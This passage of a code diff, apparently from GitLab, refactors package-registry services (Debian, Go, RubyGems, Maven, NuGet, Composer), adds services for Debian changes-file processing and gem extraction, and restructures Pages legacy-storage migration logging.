index 98aabd84d3d..f346b654c59 100644
--- a/app/services/packages/composer/composer_json_service.rb
+++ b/app/services/packages/composer/composer_json_service.rb
@@ -6,7 +6,8 @@ module Packages
InvalidJson = Class.new(StandardError)
def initialize(project, target)
- @project, @target = project, target
+ @project = project
+ @target = target
end
def execute
diff --git a/app/services/packages/composer/version_parser_service.rb b/app/services/packages/composer/version_parser_service.rb
index 811cac0b3b7..36275d1b680 100644
--- a/app/services/packages/composer/version_parser_service.rb
+++ b/app/services/packages/composer/version_parser_service.rb
@@ -4,7 +4,8 @@ module Packages
module Composer
class VersionParserService
def initialize(tag_name: nil, branch_name: nil)
- @tag_name, @branch_name = tag_name, branch_name
+ @tag_name = tag_name
+ @branch_name = branch_name
end
def execute
diff --git a/app/services/packages/debian/create_distribution_service.rb b/app/services/packages/debian/create_distribution_service.rb
index c6df033e3c1..f947d2e4293 100644
--- a/app/services/packages/debian/create_distribution_service.rb
+++ b/app/services/packages/debian/create_distribution_service.rb
@@ -4,7 +4,8 @@ module Packages
module Debian
class CreateDistributionService
def initialize(container, user, params)
- @container, @params = container, params
+ @container = container
+ @params = params
@params[:creator] = user
@components = params.delete(:components) || ['main']
diff --git a/app/services/packages/debian/extract_changes_metadata_service.rb b/app/services/packages/debian/extract_changes_metadata_service.rb
new file mode 100644
index 00000000000..eb5baa7e53f
--- /dev/null
+++ b/app/services/packages/debian/extract_changes_metadata_service.rb
@@ -0,0 +1,112 @@
+# frozen_string_literal: true
+
+module Packages
+ module Debian
+ class ExtractChangesMetadataService
+ include Gitlab::Utils::StrongMemoize
+
+ ExtractionError = Class.new(StandardError)
+
+ def initialize(package_file)
+ @package_file = package_file
+ @entries = {}
+ end
+
+ def execute
+ {
+ file_type: file_type,
+ architecture: metadata[:architecture],
+ fields: fields,
+ files: files
+ }
+ rescue ActiveModel::ValidationError => e
+ raise ExtractionError.new(e.message)
+ end
+
+ private
+
+ def metadata
+ strong_memoize(:metadata) do
+ ::Packages::Debian::ExtractMetadataService.new(@package_file).execute
+ end
+ end
+
+ def file_type
+ metadata[:file_type]
+ end
+
+ def fields
+ metadata[:fields]
+ end
+
+ def files
+ strong_memoize(:files) do
+ raise ExtractionError.new("is not a changes file") unless file_type == :changes
+ raise ExtractionError.new("Files field is missing") if fields['Files'].blank?
+ raise ExtractionError.new("Checksums-Sha1 field is missing") if fields['Checksums-Sha1'].blank?
+ raise ExtractionError.new("Checksums-Sha256 field is missing") if fields['Checksums-Sha256'].blank?
+
+ init_entries_from_files
+ entries_from_checksums_sha1
+ entries_from_checksums_sha256
+ entries_from_package_files
+
+ @entries
+ end
+ end
+
+ def init_entries_from_files
+ each_lines_for('Files') do |line|
+ md5sum, size, section, priority, filename = line.split
+ entry = FileEntry.new(
+ filename: filename,
+ size: size.to_i,
+ md5sum: md5sum,
+ section: section,
+ priority: priority)
+
+ @entries[filename] = entry
+ end
+ end
+
+ def entries_from_checksums_sha1
+ each_lines_for('Checksums-Sha1') do |line|
+ sha1sum, size, filename = line.split
+ entry = @entries[filename]
+ raise ExtractionError.new("#{filename} is listed in Checksums-Sha1 but not in Files") unless entry
+ raise ExtractionError.new("Size for #{filename} in Files and Checksums-Sha1 differ") unless entry.size == size.to_i
+
+ entry.sha1sum = sha1sum
+ end
+ end
+
+ def entries_from_checksums_sha256
+ each_lines_for('Checksums-Sha256') do |line|
+ sha256sum, size, filename = line.split
+ entry = @entries[filename]
+ raise ExtractionError.new("#{filename} is listed in Checksums-Sha256 but not in Files") unless entry
+ raise ExtractionError.new("Size for #{filename} in Files and Checksums-Sha256 differ") unless entry.size == size.to_i
+
+ entry.sha256sum = sha256sum
+ end
+ end
+
+ def each_lines_for(field)
+ fields[field].split("\n").each do |line|
+ next if line.blank?
+
+ yield(line)
+ end
+ end
+
+ def entries_from_package_files
+ @entries.each do |filename, entry|
+ entry.package_file = ::Packages::PackageFileFinder.new(@package_file.package, filename).execute!
+ entry.validate!
+ rescue ActiveRecord::RecordNotFound
+ raise ExtractionError.new("#{filename} is listed in Files but was not uploaded")
+ end
+ end
+ end
+ end
+end
diff --git a/app/services/packages/debian/extract_metadata_service.rb b/app/services/packages/debian/extract_metadata_service.rb
index fd5832bc0ba..015f472c7c9 100644
--- a/app/services/packages/debian/extract_metadata_service.rb
+++ b/app/services/packages/debian/extract_metadata_service.rb
@@ -58,21 +58,22 @@ module Packages
file_type == :dsc || file_type == :buildinfo || file_type == :changes
end
- def extracted_fields
- if file_type_debian?
- package_file.file.use_file do |file_path|
- ::Packages::Debian::ExtractDebMetadataService.new(file_path).execute
- end
- elsif file_type_meta?
- package_file.file.use_file do |file_path|
- ::Packages::Debian::ParseDebian822Service.new(File.read(file_path)).execute.each_value.first
+ def fields
+ strong_memoize(:fields) do
+ if file_type_debian?
+ package_file.file.use_file do |file_path|
+ ::Packages::Debian::ExtractDebMetadataService.new(file_path).execute
+ end
+ elsif file_type_meta?
+ package_file.file.use_file do |file_path|
+ ::Packages::Debian::ParseDebian822Service.new(File.read(file_path)).execute.each_value.first
+ end
end
end
end
def extract_metadata
- fields = extracted_fields
- architecture = fields.delete(:Architecture) if file_type_debian?
+ architecture = fields['Architecture'] if file_type_debian?
{
file_type: file_type,
diff --git a/app/services/packages/debian/parse_debian822_service.rb b/app/services/packages/debian/parse_debian822_service.rb
index 665929d2324..8be5fdf3b66 100644
--- a/app/services/packages/debian/parse_debian822_service.rb
+++ b/app/services/packages/debian/parse_debian822_service.rb
@@ -26,7 +26,7 @@ module Packages
section[field] += line[1..] unless paragraph_separator?(line)
elsif match = match_section_line(line)
section_name = match[:name] if section_name.nil?
- field = match[:field].to_sym
+ field = match[:field]
raise InvalidDebian822Error, "Duplicate field '#{field}' in section '#{section_name}'" if section.include?(field)
diff --git a/app/services/packages/debian/process_changes_service.rb b/app/services/packages/debian/process_changes_service.rb
new file mode 100644
index 00000000000..881ad2c46f4
--- /dev/null
+++ b/app/services/packages/debian/process_changes_service.rb
@@ -0,0 +1,102 @@
+# frozen_string_literal: true
+
+module Packages
+ module Debian
+ class ProcessChangesService
+ include ExclusiveLeaseGuard
+ include Gitlab::Utils::StrongMemoize
+
+ # used by ExclusiveLeaseGuard
+ DEFAULT_LEASE_TIMEOUT = 1.hour.to_i.freeze
+
+ def initialize(package_file, creator)
+ @package_file = package_file
+ @creator = creator
+ end
+
+ def execute
+ try_obtain_lease do
+ # return if changes file has already been processed
+ break if package_file.debian_file_metadatum&.changes?
+
+ validate!
+
+ package_file.transaction do
+ update_files_metadata
+ update_changes_metadata
+ end
+ end
+ end
+
+ private
+
+ attr_reader :package_file, :creator
+
+ def validate!
+ raise ArgumentError, 'invalid package file' unless package_file.debian_file_metadatum
+ raise ArgumentError, 'invalid package file' unless package_file.debian_file_metadatum.unknown?
+ raise ArgumentError, 'invalid package file' unless metadata[:file_type] == :changes
+ end
+
+ def update_files_metadata
+ files.each do |filename, entry|
+ entry.package_file.package = package
+
+ file_metadata = ::Packages::Debian::ExtractMetadataService.new(entry.package_file).execute
+
+ entry.package_file.debian_file_metadatum.update!(
+ file_type: file_metadata[:file_type],
+ component: files[filename].component,
+ architecture: file_metadata[:architecture],
+ fields: file_metadata[:fields]
+ )
+ entry.package_file.save!
+ end
+ end
+
+ def update_changes_metadata
+ package_file.update!(package: package)
+ package_file.debian_file_metadatum.update!(
+ file_type: metadata[:file_type],
+ fields: metadata[:fields]
+ )
+ end
+
+ def metadata
+ strong_memoize(:metadata) do
+ ::Packages::Debian::ExtractChangesMetadataService.new(package_file).execute
+ end
+ end
+
+ def files
+ metadata[:files]
+ end
+
+ def project
+ package_file.package.project
+ end
+
+ def package
+ strong_memoize(:package) do
+ params = {
+ 'name': metadata[:fields]['Source'],
+ 'version': metadata[:fields]['Version'],
+ 'distribution_name': metadata[:fields]['Distribution']
+ }
+ response = Packages::Debian::FindOrCreatePackageService.new(project, creator, params).execute
+ response.payload[:package]
+ end
+ end
+
+ # used by ExclusiveLeaseGuard
+ def lease_key
+ "packages:debian:process_changes_service:package_file:#{package_file.id}"
+ end
+
+ # used by ExclusiveLeaseGuard
+ def lease_timeout
+ DEFAULT_LEASE_TIMEOUT
+ end
+ end
+ end
+end
diff --git a/app/services/packages/debian/update_distribution_service.rb b/app/services/packages/debian/update_distribution_service.rb
index 5bb59b854e9..95face912d5 100644
--- a/app/services/packages/debian/update_distribution_service.rb
+++ b/app/services/packages/debian/update_distribution_service.rb
@@ -4,7 +4,8 @@ module Packages
module Debian
class UpdateDistributionService
def initialize(distribution, params)
- @distribution, @params = distribution, params
+ @distribution = distribution
+ @params = params
@components = params.delete(:components)
diff --git a/app/services/packages/go/create_package_service.rb b/app/services/packages/go/create_package_service.rb
new file mode 100644
index 00000000000..4e8b8ef8d6b
--- /dev/null
+++ b/app/services/packages/go/create_package_service.rb
@@ -0,0 +1,70 @@
+# frozen_string_literal: true
+
+module Packages
+ module Go
+ class CreatePackageService < BaseService
+ GoZipSizeError = Class.new(StandardError)
+
+ attr_accessor :version
+
+ def initialize(project, user = nil, version:)
+ super(project, user)
+
+ @version = version
+ end
+
+ def execute
+ # check for existing package to avoid SQL errors due to the index
+ package = ::Packages::Go::PackageFinder.new(version.mod.project, version.mod.name, version.name).execute
+ return package if package
+
+ # this can be expensive, so do it outside the transaction
+ files = {}
+ files[:mod] = prepare_file(version, :mod, version.gomod)
+ files[:zip] = prepare_file(version, :zip, version.archive.string)
+
+ ActiveRecord::Base.transaction do
+ # create new package and files
+ package = create_package
+ files.each { |type, (file, digests)| create_file(package, type, file, digests) }
+ package
+ end
+ end
+
+ private
+
+ def prepare_file(version, type, content)
+ file = CarrierWaveStringFile.new(content)
+ raise GoZipSizeError, "#{version.mod.name}@#{version.name}.#{type} exceeds size limit" if file.size > project.actual_limits.golang_max_file_size
+
+ digests = {
+ md5: Digest::MD5.hexdigest(content),
+ sha1: Digest::SHA1.hexdigest(content),
+ sha256: Digest::SHA256.hexdigest(content)
+ }
+
+ [file, digests]
+ end
+
+ def create_package
+ version.mod.project.packages.create!(
+ name: version.mod.name,
+ version: version.name,
+ package_type: :golang,
+ created_at: version.commit.committed_date
+ )
+ end
+
+ def create_file(package, type, file, digests)
+ CreatePackageFileService.new(package,
+ file: file,
+ size: file.size,
+ file_name: "#{version.name}.#{type}",
+ file_md5: digests[:md5],
+ file_sha1: digests[:sha1],
+ file_sha256: digests[:sha256]
+ ).execute
+ end
+ end
+ end
+end
diff --git a/app/services/packages/go/sync_packages_service.rb b/app/services/packages/go/sync_packages_service.rb
new file mode 100644
index 00000000000..c35d3600388
--- /dev/null
+++ b/app/services/packages/go/sync_packages_service.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+module Packages
+ module Go
+ class SyncPackagesService < BaseService
+ include Gitlab::Golang
+
+ def initialize(project, ref, path = '')
+ super(project)
+
+ @ref = ref
+ @path = path
+
+ raise ArgumentError, 'project is required' unless project
+ raise ArgumentError, 'ref is required' unless ref
+ raise ArgumentError, "ref #{ref} not found" unless project.repository.find_tag(ref) || project.repository.find_branch(ref)
+ end
+
+ def execute_async
+ Packages::Go::SyncPackagesWorker.perform_async(project.id, @ref, @path)
+ end
+ end
+ end
+end
diff --git a/app/services/packages/maven/find_or_create_package_service.rb b/app/services/packages/maven/find_or_create_package_service.rb
index 401e52f7e51..a6cffa3038c 100644
--- a/app/services/packages/maven/find_or_create_package_service.rb
+++ b/app/services/packages/maven/find_or_create_package_service.rb
@@ -33,7 +33,8 @@ module Packages
#
# The first upload has to create the proper package (the one with the version set).
if params[:file_name] == Packages::Maven::Metadata.filename && !params[:path]&.ends_with?(SNAPSHOT_TERM)
- package_name, version = params[:path], nil
+ package_name = params[:path]
+ version = nil
else
package_name, _, version = params[:path].rpartition('/')
end
diff --git a/app/services/packages/maven/metadata/sync_service.rb b/app/services/packages/maven/metadata/sync_service.rb
index a6534aa706d..48e157d4930 100644
--- a/app/services/packages/maven/metadata/sync_service.rb
+++ b/app/services/packages/maven/metadata/sync_service.rb
@@ -13,16 +13,20 @@ module Packages
def execute
return error('Blank package name') unless package_name
return error('Not allowed') unless Ability.allowed?(current_user, :destroy_package, project)
- return error('Non existing versionless package') unless versionless_package_for_versions
- return error('Non existing metadata file for versions') unless metadata_package_file_for_versions
+ result = success('Non existing versionless package(s). Nothing to do.')
+
+ # update versionless package for plugins if it exists
if metadata_package_file_for_plugins
result = update_plugins_xml
return result if result.error?
end
- update_versions_xml
+ # update versionless_package for versions if it exists
+ return update_versions_xml if metadata_package_file_for_versions
+
+ result
end
private
@@ -79,6 +83,9 @@ module Packages
def metadata_package_file_for_plugins
strong_memoize(:metadata_package_file_for_plugins) do
+ pkg_name = package_name_for_plugins
+ next unless pkg_name
+
metadata_package_file_for(versionless_package_named(package_name_for_plugins))
end
end
@@ -106,6 +113,8 @@ module Packages
end
def package_name_for_plugins
+ return unless versionless_package_for_versions
+
group = versionless_package_for_versions.maven_metadatum.app_group
group.tr('.', '/')
end
diff --git a/app/services/packages/nuget/create_dependency_service.rb b/app/services/packages/nuget/create_dependency_service.rb
index 19143fe3778..62ab485c0fc 100644
--- a/app/services/packages/nuget/create_dependency_service.rb
+++ b/app/services/packages/nuget/create_dependency_service.rb
@@ -54,9 +54,9 @@ module Packages
end
def dependencies_for_create_dependency_service
- names_and_versions = @dependencies.map do |dependency|
+ names_and_versions = @dependencies.to_h do |dependency|
[dependency[:name], version_or_empty_string(dependency[:version])]
- end.to_h
+ end
{ 'dependencies' => names_and_versions }
end
diff --git a/app/services/packages/rubygems/create_dependencies_service.rb b/app/services/packages/rubygems/create_dependencies_service.rb
new file mode 100644
index 00000000000..dea429148cf
--- /dev/null
+++ b/app/services/packages/rubygems/create_dependencies_service.rb
@@ -0,0 +1,44 @@
+# frozen_string_literal: true
+
+module Packages
+ module Rubygems
+ class CreateDependenciesService
+ include BulkInsertSafe
+
+ def initialize(package, gemspec)
+ @package = package
+ @gemspec = gemspec
+ end
+
+ def execute
+ set_dependencies
+ end
+
+ private
+
+ attr_reader :package, :gemspec
+
+ def set_dependencies
+ Packages::Dependency.transaction do
+ dependency_type_rows = gemspec.dependencies.map do |dependency|
+ dependency = Packages::Dependency.safe_find_or_create_by!(
+ name: dependency.name,
+ version_pattern: dependency.requirement.to_s
+ )
+
+ {
+ dependency_id: dependency.id,
+ package_id: package.id,
+ dependency_type: :dependencies
+ }
+ end
+
+ package.dependency_links.upsert_all(
+ dependency_type_rows,
+ unique_by: %i[package_id dependency_id dependency_type]
+ )
+ end
+ end
+ end
+ end
+end
diff --git a/app/services/packages/rubygems/create_gemspec_service.rb b/app/services/packages/rubygems/create_gemspec_service.rb
new file mode 100644
index 00000000000..22533264480
--- /dev/null
+++ b/app/services/packages/rubygems/create_gemspec_service.rb
@@ -0,0 +1,42 @@
+# frozen_string_literal: true
+
+module Packages
+ module Rubygems
+ class CreateGemspecService
+ def initialize(package, gemspec)
+ @package = package
+ @gemspec = gemspec
+ end
+
+ def execute
+ write_gemspec_to_file
+ end
+
+ private
+
+ attr_reader :package, :gemspec
+
+ def write_gemspec_to_file
+ file = Tempfile.new
+
+ begin
+ content = gemspec.to_ruby
+ file.write(content)
+ file.flush
+
+ package.package_files.create!(
+ file: file,
+ size: file.size,
+ file_name: "#{gemspec.name}.gemspec",
+ file_sha1: Digest::SHA1.hexdigest(content),
+ file_md5: Digest::MD5.hexdigest(content),
+ file_sha256: Digest::SHA256.hexdigest(content)
+ )
+ ensure
+ file.close
+ file.unlink
+ end
+ end
+ end
+ end
+end
diff --git a/app/services/packages/rubygems/metadata_extraction_service.rb b/app/services/packages/rubygems/metadata_extraction_service.rb
new file mode 100644
index 00000000000..b3bac1854d7
--- /dev/null
+++ b/app/services/packages/rubygems/metadata_extraction_service.rb
@@ -0,0 +1,56 @@
+# frozen_string_literal: true
+
+module Packages
+ module Rubygems
+ class MetadataExtractionService
+ def initialize(package, gemspec)
+ @package = package
+ @gemspec = gemspec
+ end
+
+ def execute
+ write_metadata
+ end
+
+ private
+
+ attr_reader :package, :gemspec
+
+ # rubocop:disable Metrics/AbcSize
+ # rubocop:disable Metrics/PerceivedComplexity
+ # rubocop:disable Metrics/CyclomaticComplexity
+ def write_metadata
+ metadatum.update!(
+ authors: gemspec&.authors,
+ files: gemspec&.files&.to_json,
+ summary: gemspec&.summary,
+ description: gemspec&.description,
+ email: gemspec&.email,
+ homepage: gemspec&.homepage,
+ licenses: gemspec&.licenses&.to_json,
+ metadata: gemspec&.metadata&.to_json,
+ author: gemspec&.author,
+ bindir: gemspec&.bindir,
+ executables: gemspec&.executables&.to_json,
+ extensions: gemspec&.extensions&.to_json,
+ extra_rdoc_files: gemspec&.extra_rdoc_files&.to_json,
+ platform: gemspec&.platform,
+ post_install_message: gemspec&.post_install_message,
+ rdoc_options: gemspec&.rdoc_options&.to_json,
+ require_paths: gemspec&.require_paths&.to_json,
+ required_ruby_version: gemspec&.required_ruby_version&.to_s,
+ required_rubygems_version: gemspec&.required_rubygems_version&.to_s,
+ requirements: gemspec&.requirements&.to_json,
+ rubygems_version: gemspec&.rubygems_version
+ )
+ end
+ # rubocop:enable Metrics/AbcSize
+ # rubocop:enable Metrics/PerceivedComplexity
+ # rubocop:enable Metrics/CyclomaticComplexity
+
+ def metadatum
+ Packages::Rubygems::Metadatum.safe_find_or_create_by!(package: package)
+ end
+ end
+ end
+end
diff --git a/app/services/packages/rubygems/process_gem_service.rb b/app/services/packages/rubygems/process_gem_service.rb
new file mode 100644
index 00000000000..59bf2a1ec28
--- /dev/null
+++ b/app/services/packages/rubygems/process_gem_service.rb
@@ -0,0 +1,124 @@
+# frozen_string_literal: true
+
+require 'rubygems/package'
+
+module Packages
+ module Rubygems
+ class ProcessGemService
+ include Gitlab::Utils::StrongMemoize
+ include ExclusiveLeaseGuard
+
+ ExtractionError = Class.new(StandardError)
+ DEFAULT_LEASE_TIMEOUT = 1.hour.to_i.freeze
+
+ def initialize(package_file)
+ @package_file = package_file
+ end
+
+ def execute
+ return success if process_gem
+
+ error('Gem was not processed')
+ end
+
+ private
+
+ attr_reader :package_file
+
+ def process_gem
+ return false unless package_file
+
+ try_obtain_lease do
+ package.transaction do
+ rename_package_and_set_version
+ rename_package_file
+ ::Packages::Rubygems::MetadataExtractionService.new(package, gemspec).execute
+ ::Packages::Rubygems::CreateGemspecService.new(package, gemspec).execute
+ ::Packages::Rubygems::CreateDependenciesService.new(package, gemspec).execute
+ cleanup_temp_package
+ end
+ end
+
+ true
+ end
+
+ def rename_package_and_set_version
+ package.update!(
+ name: gemspec.name,
+ version: gemspec.version,
+ status: :default
+ )
+ end
+
+ def rename_package_file
+ # Updating file_name updates the path where the file is stored.
+ # We must pass the file again so that CarrierWave can handle the update
+ package_file.update!(
+ file_name: "#{gemspec.name}-#{gemspec.version}.gem",
+ file: package_file.file,
+ package_id: package.id
+ )
+ end
+
+ def cleanup_temp_package
+ temp_package.destroy if package.id != temp_package.id
+ end
+
+ def gemspec
+ strong_memoize(:gemspec) do
+ gem.spec
+ end
+ end
+
+ def success
+ ServiceResponse.success(payload: { package: package })
+ end
+
+ def error(message)
+ ServiceResponse.error(message: message)
+ end
+
+ def temp_package
+ strong_memoize(:temp_package) do
+ package_file.package
+ end
+ end
+
+ def package
+ strong_memoize(:package) do
+ # if package with name/version already exists, use that package
+ package = temp_package.project
+ .packages
+ .rubygems
+ .with_name(gemspec.name)
+ .with_version(gemspec.version.to_s)
+ .last
+ package || temp_package
+ end
+ end
+
+ def gem
+ # use_file will set an exclusive lease on the file for as long as
+ # the resulting gem object is being used. This means we are not
+ # able to rename the package_file while also using the gem object.
+ # We need to use a separate AR object to create the gem file to allow
+ # `package_file` to be free for update so we re-find the file here.
+ Packages::PackageFile.find(package_file.id).file.use_file do |file_path|
+ Gem::Package.new(File.open(file_path))
+ end
+ rescue
+ raise ExtractionError.new('Unable to read gem file')
+ end
+
+ # used by ExclusiveLeaseGuard
+ def lease_key
+ "packages:rubygems:process_gem_service:package:#{package.id}"
+ end
+
+ # used by ExclusiveLeaseGuard
+ def lease_timeout
+ DEFAULT_LEASE_TIMEOUT
+ end
+ end
+ end
+end
diff --git a/app/services/pages/delete_service.rb b/app/services/pages/delete_service.rb
index 3dc9254718e..c4009dcc4ec 100644
--- a/app/services/pages/delete_service.rb
+++ b/app/services/pages/delete_service.rb
@@ -9,7 +9,7 @@ module Pages
DestroyPagesDeploymentsWorker.perform_async(project.id)
# TODO: remove this call https://gitlab.com/gitlab-org/gitlab/-/issues/320775
- PagesRemoveWorker.perform_async(project.id) if Feature.enabled?(:pages_update_legacy_storage, default_enabled: true)
+ PagesRemoveWorker.perform_async(project.id) if ::Settings.pages.local_store.enabled
end
end
end
diff --git a/app/services/pages/migrate_from_legacy_storage_service.rb b/app/services/pages/migrate_from_legacy_storage_service.rb
index 9b36b3f11b4..b6aa08bba01 100644
--- a/app/services/pages/migrate_from_legacy_storage_service.rb
+++ b/app/services/pages/migrate_from_legacy_storage_service.rb
@@ -2,36 +2,45 @@
module Pages
class MigrateFromLegacyStorageService
- def initialize(logger, migration_threads:, batch_size:, ignore_invalid_entries:)
+ def initialize(logger, ignore_invalid_entries:, mark_projects_as_not_deployed:)
@logger = logger
- @migration_threads = migration_threads
- @batch_size = batch_size
@ignore_invalid_entries = ignore_invalid_entries
+ @mark_projects_as_not_deployed = mark_projects_as_not_deployed
@migrated = 0
@errored = 0
@counters_lock = Mutex.new
end
- def execute
+ def execute_with_threads(threads:, batch_size:)
@queue = SizedQueue.new(1)
- threads = start_migration_threads
+ migration_threads = start_migration_threads(threads)
- ProjectPagesMetadatum.only_on_legacy_storage.each_batch(of: @batch_size) do |batch|
+ ProjectPagesMetadatum.only_on_legacy_storage.each_batch(of: batch_size) do |batch|
@queue.push(batch)
end
@queue.close
- @logger.info("Waiting for threads to finish...")
- threads.each(&:join)
+ @logger.info(message: "Pages legacy storage migration: Waiting for threads to finish...")
+ migration_threads.each(&:join)
{ migrated: @migrated, errored: @errored }
end
- def start_migration_threads
- Array.new(@migration_threads) do
+ def execute_for_batch(project_ids)
+ batch = ProjectPagesMetadatum.only_on_legacy_storage.where(project_id: project_ids) # rubocop: disable CodeReuse/ActiveRecord
+
+ process_batch(batch)
+
+ { migrated: @migrated, errored: @errored }
+ end
+
+ private
+
+ def start_migration_threads(count)
+ Array.new(count) do
Thread.new do
while batch = @queue.pop
Rails.application.executor.wrap do
@@ -49,30 +58,32 @@ module Pages
migrate_project(project)
end
- @logger.info("#{@migrated} projects are migrated successfully, #{@errored} projects failed to be migrated")
+ @logger.info(message: "Pages legacy storage migration: batch processed", migrated: @migrated, errored: @errored)
rescue => e
# This method should never raise exception otherwise all threads might be killed
# and this will result in queue starving (and deadlock)
Gitlab::ErrorTracking.track_exception(e)
- @logger.error("failed processing a batch: #{e.message}")
+ @logger.error(message: "Pages legacy storage migration: failed processing a batch: #{e.message}")
end
def migrate_project(project)
result = nil
time = Benchmark.realtime do
- result = ::Pages::MigrateLegacyStorageToDeploymentService.new(project, ignore_invalid_entries: @ignore_invalid_entries).execute
+ result = ::Pages::MigrateLegacyStorageToDeploymentService.new(project,
+ ignore_invalid_entries: @ignore_invalid_entries,
+ mark_projects_as_not_deployed: @mark_projects_as_not_deployed).execute
end
if result[:status] == :success
- @logger.info("project_id: #{project.id} #{project.pages_path} has been migrated in #{time.round(2)} seconds")
+ @logger.info(message: "Pages legacy storage migration: project migrated: #{result[:message]}", project_id: project.id, pages_path: project.pages_path, duration: time.round(2))
@counters_lock.synchronize { @migrated += 1 }
else
- @logger.error("project_id: #{project.id} #{project.pages_path} failed to be migrated in #{time.round(2)} seconds: #{result[:message]}")
+ @logger.error(message: "Pages legacy storage migration: project failed to be migrated: #{result[:message]}", project_id: project.id, pages_path: project.pages_path, duration: time.round(2))
@counters_lock.synchronize { @errored += 1 }
end
rescue => e
@counters_lock.synchronize { @errored += 1 }
- @logger.error("project_id: #{project&.id} #{project&.pages_path} failed to be migrated: #{e.message}")
+ @logger.error(message: "Pages legacy storage migration: project failed to be migrated: #{result[:message]}", project_id: project&.id, pages_path: project&.pages_path)
Gitlab::ErrorTracking.track_exception(e, project_id: project&.id)
end
end
diff --git a/app/services/pages/migrate_legacy_storage_to_deployment_service.rb b/app/services/pages/migrate_legacy_storage_to_deployment_service.rb
index 63410b9fe4a..95c7107eb62 100644
--- a/app/services/pages/migrate_legacy_storage_to_deployment_service.rb
+++ b/app/services/pages/migrate_legacy_storage_to_deployment_service.rb
@@ -9,9 +9,10 @@ module Pages
attr_reader :project
- def initialize(project, ignore_invalid_entries: false)
+ def initialize(project, ignore_invalid_entries: false, mark_projects_as_not_deployed: false)
@project = project
@ignore_invalid_entries = ignore_invalid_entries
+ @mark_projects_as_not_deployed = mark_projects_as_not_deployed
end
def execute
@@ -30,16 +31,20 @@ module Pages
zip_result = ::Pages::ZipDirectoryService.new(project.pages_path, ignore_invalid_entries: @ignore_invalid_entries).execute
if zip_result[:status] == :error
- if !project.pages_metadatum&.reload&.pages_deployment &&
- Feature.enabled?(:pages_migration_mark_as_not_deployed, project)
- project.mark_pages_as_not_deployed
- end
-
return error("Can't create zip archive: #{zip_result[:message]}")
end
archive_path = zip_result[:archive_path]
+ unless archive_path
+ return error("Archive not created. Missing public directory in #{@project.pages_path}") unless @mark_projects_as_not_deployed
+
+ project.set_first_pages_deployment!(nil)
+
+ return success(
+ message: "Archive not created. Missing public directory in #{project.pages_path}? Marked project as not deployed")
+ end
+
deployment = nil
File.open(archive_path) do |file|
deployment = project.pages_deployments.create!(
diff --git a/app/services/pages/zip_directory_service.rb b/app/services/pages/zip_directory_service.rb
index ae08d40ee37..6cb79452e1b 100644
--- a/app/services/pages/zip_directory_service.rb
+++ b/app/services/pages/zip_directory_service.rb
@@ -18,9 +18,7 @@ module Pages
end
def execute
- unless resolve_public_dir
- return error("Can not find valid public dir in #{@input_dir}")
- end
+ return success unless resolve_public_dir
output_file = File.join(real_dir, "@migrated.zip") # '@' to avoid any name collision with groups or projects
diff --git a/app/services/pod_logs/kubernetes_service.rb b/app/services/pod_logs/kubernetes_service.rb
index 03b84f98973..28b1a179635 100644
--- a/app/services/pod_logs/kubernetes_service.rb
+++ b/app/services/pod_logs/kubernetes_service.rb
@@ -2,7 +2,7 @@
module PodLogs
class KubernetesService < PodLogs::BaseService
- LOGS_LIMIT = 500.freeze
+ LOGS_LIMIT = 500
REPLACEMENT_CHAR = "\u{FFFD}"
EncodingHelperError = Class.new(StandardError)
diff --git a/app/services/post_receive_service.rb b/app/services/post_receive_service.rb
index 84d9db5435b..3dc8fd8929a 100644
--- a/app/services/post_receive_service.rb
+++ b/app/services/post_receive_service.rb
@@ -48,7 +48,7 @@ class PostReceiveService
end
def process_mr_push_options(push_options, changes)
- Gitlab::QueryLimiting.whitelist('https://gitlab.com/gitlab-org/gitlab-foss/issues/61359')
+ Gitlab::QueryLimiting.disable!('https://gitlab.com/gitlab-org/gitlab/-/issues/28494')
return unless repository
unless repository.repo_type.project?
diff --git a/app/services/projects/alerting/notify_service.rb b/app/services/projects/alerting/notify_service.rb
index 2ba64b73699..a5ee7173bdf 100644
--- a/app/services/projects/alerting/notify_service.rb
+++ b/app/services/projects/alerting/notify_service.rb
@@ -36,7 +36,7 @@ module Projects
override :alert_source
def alert_source
- alert.monitoring_tool || integration&.name || 'Generic Alert Endpoint'
+ super || integration&.name || 'Generic Alert Endpoint'
end
def active_integration?
diff --git a/app/services/projects/branches_by_mode_service.rb b/app/services/projects/branches_by_mode_service.rb
index fb66bfa073b..dbdcef066f4 100644
--- a/app/services/projects/branches_by_mode_service.rb
+++ b/app/services/projects/branches_by_mode_service.rb
@@ -71,7 +71,8 @@ class Projects::BranchesByModeService
# And increase it whenever we go to the next page
previous_offset = params[:offset].to_i
- previous_path, next_path = nil, nil
+ previous_path = nil
+ next_path = nil
return [branches, previous_path, next_path] if branches.blank?
diff --git a/app/services/projects/create_from_template_service.rb b/app/services/projects/create_from_template_service.rb
index 45b52a1861c..3c66ff709c9 100644
--- a/app/services/projects/create_from_template_service.rb
+++ b/app/services/projects/create_from_template_service.rb
@@ -7,7 +7,8 @@ module Projects
attr_reader :template_name
def initialize(user, params)
- @current_user, @params = user, params.to_h.dup
+ @current_user = user
+ @params = params.to_h.dup
@template_name = @params.delete(:template_name).presence
end
diff --git a/app/services/projects/create_service.rb b/app/services/projects/create_service.rb
index e3b1fd5f4c0..5fb0bda912e 100644
--- a/app/services/projects/create_service.rb
+++ b/app/services/projects/create_service.rb
@@ -5,11 +5,12 @@ module Projects
include ValidatesClassificationLabel
def initialize(user, params)
- @current_user, @params = user, params.dup
- @skip_wiki = @params.delete(:skip_wiki)
+ @current_user = user
+ @params = params.dup
+ @skip_wiki = @params.delete(:skip_wiki)
@initialize_with_readme = Gitlab::Utils.to_boolean(@params.delete(:initialize_with_readme))
- @import_data = @params.delete(:import_data)
- @relations_block = @params.delete(:relations_block)
+ @import_data = @params.delete(:import_data)
+ @relations_block = @params.delete(:relations_block)
end
def execute
@@ -110,7 +111,12 @@ module Projects
setup_authorizations
current_user.invalidate_personal_projects_count
- create_prometheus_service
+
+ if Feature.enabled?(:projects_post_creation_worker, current_user, default_enabled: :yaml)
+ Projects::PostCreationWorker.perform_async(@project.id)
+ else
+ create_prometheus_service
+ end
create_readme if @initialize_with_readme
end
@@ -193,6 +199,7 @@ module Projects
@project
end
+ # Deprecated: https://gitlab.com/gitlab-org/gitlab/-/issues/326665
def create_prometheus_service
service = @project.find_or_initialize_service(::PrometheusService.to_param)
diff --git a/app/services/projects/destroy_service.rb b/app/services/projects/destroy_service.rb
index 6840c395a76..4ba48f74273 100644
--- a/app/services/projects/destroy_service.rb
+++ b/app/services/projects/destroy_service.rb
